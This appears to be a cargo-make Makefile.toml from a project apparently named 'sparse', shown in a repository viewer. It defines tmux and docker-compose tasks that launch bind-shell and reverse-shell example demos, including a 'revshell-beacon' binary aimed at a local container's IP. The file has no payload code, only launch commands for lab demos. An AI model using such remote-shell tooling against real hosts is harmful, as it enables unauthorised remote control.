sparse/examples/Makefile.toml
2023-05-12 01:16:52 -04:00

23 lines
688 B
TOML

[tasks.examples-bindshell-run]
workspace = false
dependencies = ["build"]
script = '''
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
tmux split-window -h 'docker-compose run examples_bindshell_client'
tmux -2 attach -t bindshell
'''
[tasks.examples-revshell-run]
workspace = false
dependencies = ["build"]
script = '''
set -eux
tmux new-session -d -s revshell 'docker-compose up examples_revshell_server'
sleep 1
IP=$(docker-compose exec examples_revshell_server ip a show eth0 | awk '/inet/{print $2}' | awk -F'/' '{print $1}')
echo $IP
sleep 1
COMMAND="target/debug/ex-revshell-beacon $IP"
tmux split-window -h "$COMMAND"
tmux -2 attach -t revshell
'''